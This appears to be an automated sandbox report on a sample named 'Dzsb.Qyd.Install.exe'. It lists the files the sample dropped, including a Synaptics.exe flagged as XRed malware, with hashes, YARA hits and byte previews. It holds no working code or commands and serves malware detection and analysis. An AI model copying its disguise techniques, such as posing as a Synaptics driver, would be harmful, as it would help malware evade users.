Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.6.1.3.9.8.9.6.2.0.0.0.9.1.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.6.1.3.9.8.9.9.4.9.7.0.8.7.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.f.b.1.8.f.9.3.-.5.a.9.5.-.4.c.7.2.-.8.1.2.e.-.9.4.2.9.7.8.9.f.d.c.a.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.2.9.8.8.8.f.9.-.6.7.9.1.-.4.2.9.5.-.b.f.2.1.-.e.a.0.d.8.4.5.c.2.6.e.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.a.8.-.0.0.0.1.-.0.0.1.6.-.3.2.e.6.-.f.d.9.0.4.8.3.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.7.4.6.8.6.4.4.9.f.2.4.f.0.c.d.7.4.5.c.4.b.d.e.0.a.7.e.6.f.4.1.a.b.f.1.7.d.a.a.d.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B4A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Nov 15 10:23:47 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	2149838
Entropy (8bit):	1.8519731967696436
Encrypted:	false
SSDEEP:	3072:+Ws3u3+sCB1K4Iyygerd7hKCKk569lO7F/+yDoymTe71rS2YSmIB2PlFRY6:+BylCB0mmIqSiFWyDoymTep3CIBsHRj
MD5:	5AC93D956CFFFD0BE4179DBB28D47A9F
SHA1:	27E11F52D500C13F87C561CA0495F865CE547F00
SHA-256:	55E41FFF9EE3627EA42C5CFA59CE57332F82CE0F4D47BC981E84A6D03F8BF185
SHA-512:	C29BBE929C3792E20AB4E77E60315E7553339C7989E00F3BFC8E760F1735496E9882222EB998C9A9222D62130AE50DAFD9F59195C3F5A4559B3FF032E66318AD
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......3!7g............t...........$%..........$....C.......8.............`.......8...........T................. ..........C...........E..............................................................................eJ......TF......GenuineIntel............T...........#!7g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2453.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6302
Entropy (8bit):	3.715501303193612
Encrypted:	false
SSDEEP:	192:R6l7wVeJBxg6pTUYiSWhpDO89beGsfD0qm:R6lXJw6pgYuTelfDI
MD5:	529A95CE878B5C135E46779ADB043B30
SHA1:	4333173D4686CB1D754DB527F01FA9E7B1685A4F
SHA-256:	61B885178C40BCF7E7F4E6532D67BBF2B353A82D9F6170C95AB8B8A91654CF19
SHA-512:	61B09F595CD56CA498279796F2EFC039EEC6FCAE5EA27DACB8BF7C89946201F78A836106213614E59F583F07DD8C8288CB3C156DF8F0D0EAE4E48E2EEF9F4E3D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.5.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2473.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.451316805190285
Encrypted:	false
SSDEEP:	48:cvIwWl8zs26Jg77aI9YznWda80atYm8M4JFetF5Wj+q84iSMWDfZM9d:uIjfjI7KKdlEJ9jrBfZad
MD5:	834687261BA6E299835CFE3DC70EC435
SHA1:	6C957F13B261F93AE5789D64F13089D8B2AE2963
SHA-256:	45DCB8F75D42BB44659BE7288FCA56902A5C4DAE1470E393DC4A4EE76C351B4F
SHA-512:	F5CBC27385393017BB0D92A8298A7FB9BCF827645DF38DD5CD73EB7CAD17C16CF8E6EA95DFE70453F163D7B98913F7A7D1A4E48A9FD9CB6D5E703E72154D9402
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="589046" />.. <arg nm="osinsty" val="2" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2B52.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Nov 15 10:24:56 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	2775412
Entropy (8bit):	1.9672989242468784
Encrypted:	false
SSDEEP:	6144:8xF6WIUMWJtkGXLIfUQWH/WeF+s7GBCZItcZzwcQ7a/x3r5lbkine1RisR0b1ZGv:8xFAUMWJeFUQWH/WnssWZ8m/xje2Gnv
MD5:	A3376BB451A175C40747AAB360988D09
SHA1:	CF7F694304002EF5DFB3DDC95DF0508211908BAD
SHA-256:	9C5F9C4FB24013712679066768C33705E549A39BC51CB61E00A6E375BDB3CF7E
SHA-512:	D51078BCB98D2B9CE635EF7BD762CEE36218C677DD10A63AD43703B2CFED19CC232F5C5D68113410DD21E81C262B4F76B1A7602C46D0B5492458A6AC046AC60A
Malicious:	false
Preview:	MDMP..a..... .......x!7g.............$..........<....,......$...DK.......b..P...........`.......8...........T................b).........hK..........TM..............................................................................eJ.......M......GenuineIntel............T...........b!7g............................. ..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3798.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.696846182458597
Encrypted:	false
SSDEEP:	192:R6l7wVeJox+6R6YN4SUvgmfiS65pDM89bhn1sf1Lm:R6lXJ16R6YySUvgmfClhnOfE
MD5:	ECCBBA567B737F851766BFF776508E19
SHA1:	010EA91EED287C22603A6E28C347207A9F7CE4A3
SHA-256:	4E05F2BE96FCBA5485B66C7412F4E9975958EF76FFC3E638821D4AD0CFF70039
SHA-512:	9E243BC85EF619F82329263BD918422BCBCAD5B16F33638E1C9B7EBC033B5AE7F993D429B6A52A3188FC194AC10AB6B055E3FF88133B1131173D7B25D386B1E0
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.0.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER37B8.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.450340562950747
Encrypted:	false
SSDEEP:	48:cvIwWl8zs2RJg77aI9YznWda80anYm8M4JFmFd+q841MWDfZedd:uIjfII7KKdlyJA7BfZedd
MD5:	A84B0CDB46AE52E6B6C5BC5E1749F230
SHA1:	8E39EC258D6846E5D79E8E78A48E717892C115CC
SHA-256:	94807D1C1494169B49CAE5B3D2EB2F8451CD3676F8C9B3FC6CD1D1F1A8735EA5
SHA-512:	7398F7060FED63524B06B4C4EBB18A67ED35D439D08D3B4FA2F0C911BEBDCCAB1CFB7903B3165D71334C9A391FD0D2E44E7DB6BC4D9AD40DE5D73714DCFFD45C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="589047" />.. <arg nm="osinsty" val="2" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Synaptics\RCXE0B2.tmp

Download File

Process:	C:\Users\user\Desktop\Dzsb.Qyd.Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.632404275608864
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9I3r:ansJ39LyjbJkQFMhmC+6GD9c
MD5:	921D4ED8B1BD7EFFC64D14DF5204C817
SHA1:	74686449F24F0CD745C4BDE0A7E6F41ABF17DAAD
SHA-256:	479FFD1BD8ADB0CBABA12207B91F58BAE92FE5F49FF2A8D4354853463638514E
SHA-512:	3C6CCCD09E06E11D4EDA44172C908DD0AD61D89B5957F9EB5575F6A6A43026FAAF13486ACA409399C4FE344CEC1ADF3BE0257926A863B9978C44469E16440A7F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXE0B2.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXE0B2.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\Dzsb.Qyd.Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	941568
Entropy (8bit):	6.484741061010045
Encrypted:	false
SSDEEP:	12288:kMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9yjQ2WH95Cjs7:knsJ39LyjbJkQFMhmC+6GD9uQ2e9Qo
MD5:	8F6F7010F18C00958433F02D47130DD1
SHA1:	96420693A48930B1420DCA7C5D02792EA7009693
SHA-256:	F20191F25CC57EE5C30328A5BD3821788D8DB2ED60901F728122D596185FC651
SHA-512:	41E6F0B9458EC1CC304B606602BBE8289522E0AC4183C64C3AE434D54792707EB061E9F3746339B745CF6BA7B511A9D6DB7DBAE94ACAFF75255FAE3EBE0521FB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B......p....................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...p...........................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Dzsb.Qyd.Install.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\215HcxJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263309453515148
Encrypted:	false
SSDEEP:	24:GgsF+0SSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+J+pAZewRDK4mW
MD5:	B7AEFE43153A5137230B145F07FB211F
SHA1:	9F13135E1B25BF4831419948B96814650F9452B2
SHA-256:	BAB1B34EEF52E44498D79BA951A2A5AB69E6AD4F22B1958F040F4550B977D0C5
SHA-512:	9A0C88D79494FD2C393E060107B9072F48A327E275BAFFC5F733BF22585AE3E5C6CBCB48DCE9438937204E49B68C5E57E5FFBDA46725615E9FCE9422F46815FA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_rbhZCWCt2V4FeQw48eKGQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\4Un6axl.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261268340585181
Encrypted:	false
SSDEEP:	24:GgsF+0MSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	96A7E33473532A77B60B745A64233BA4
SHA1:	70A05D0C45930087648299DF365D241B7B1E0181
SHA-256:	7ACC7DF3B29933D36A386BAEDFD96190C9F702B6978335924D64907E7C6EF152
SHA-512:	B8F846388636E1C512B2AAE772F00D24F88242B175571FAB99720181F879C56685B7CE143B79438C440E774D8F6060E47014B9130973571AEC01B7468BE53423
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="G9WnpFveJ3FNeGVFxJg7gQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\4zPOX3a.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268158351951635
Encrypted:	false
SSDEEP:	24:GgsF+0RSSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+aS+pAZewRDK4mW
MD5:	FB0AFE406E110900A9209D37CFC1A99B
SHA1:	928FD1C2C27958F26F71334A56F485136DB9FB46
SHA-256:	8BCE5E666FCF0D057EF9A1CA4CF023BBD59CB8F52B664E0296A168D97CE95230
SHA-512:	E69DA4087502CEE6AD56D637E1A25E119E7E216AF1AF1FBFE7721F3C0991293F250D554229B408272D6C34333114DC19BDEC59D26B969C6FC3D9537A92269635
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cShHrA4g8gFGGG4PUK34KA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5oPcRYE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.246809538463913
Encrypted:	false
SSDEEP:	24:GgsF+0zQaKISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+VVI+pAZewRDK4mW
MD5:	0E96B9D26002092ADD6AE517B4F7D4E1
SHA1:	4B208D3EB7C6398E0D21B5B69C588EDF88EFBDC4
SHA-256:	7B3E9C7249B0F561AC8D084D6B2352D9684D8267E15A6AB4FDC92C94DC0117ED
SHA-512:	FE4FC443529CA73399632CF85DCD6AA3E2E64FDC6E269EEB980F9BBAC86937A1638A2F158FD8F73FEA533692EFC290D9AB5B97FF996336C8BCCCC6E88CC97FAF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="g8fiNRUt1R3keaem4oGuNA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\A31Rbog.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266720920822971
Encrypted:	false
SSDEEP:	24:GgsF+06SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+5+pAZewRDK4mW
MD5:	7BD0DAB03F6F3743DDB8875819F1A0AF
SHA1:	A38A45255AB0945FB29B84FA6AD47559B3C189EB
SHA-256:	BD8F98739BC47A136F2B1394C69BA9E3246B4B6647EA19601E4B241265F66FEF
SHA-512:	F79BA120B8E1EA3787423A565E37FB82A23DC17E5930B9F45AD824B09C1EB825902D075E5EB94F8DDBB8A0D094905988FD4623BD635D772A11ECED8928FB472A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mOXaOgGKjzO5JvtU9Y-yRg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\AI8gj1z.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.252370185546016
Encrypted:	false
SSDEEP:	24:GgsF+0p8SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+t+pAZewRDK4mW
MD5:	44506FC084D65C78FE0FB30C3B265852
SHA1:	4BB1F2BB71B467C6105B98449D03E4C8B776A3CC
SHA-256:	81C06A7E4949A71788FD74637B210326D4E553C9A032C8B8D7A6C2F11D6D14ED
SHA-512:	3CA6B044B5FB2AA0698A803F78A4BDA0EACD029FB3E2CE2922E8486B176511E1B8AF616C51BB88CA4EA93DE62B0E1EC3C322366B61F7E1234820120F70B90EBD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9hQL10eFTnhFFnxSodvJVg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\AaJYA7X.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.241660288722936
Encrypted:	false
SSDEEP:	24:GgsF+0q8qSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+x8q+pAZewRDK4mW
MD5:	0449F39952B4878E2F765632E15DF440
SHA1:	75118D26653B0E9067FD56E3E77254E88CE9E42C
SHA-256:	15A92AB3B169E021F904F2422831DF85EBCFB7BE620DB5A812B57544C1AE3A7A
SHA-512:	10DDFCF53D30CE91834C90527228CACA908277EBB0A36CADD288C4E8D3B26F4D2AEF02A663199763AA11F1E02D4619D48AC82B710300BE1E322292A9E5EE1A6B
Malicious:	false
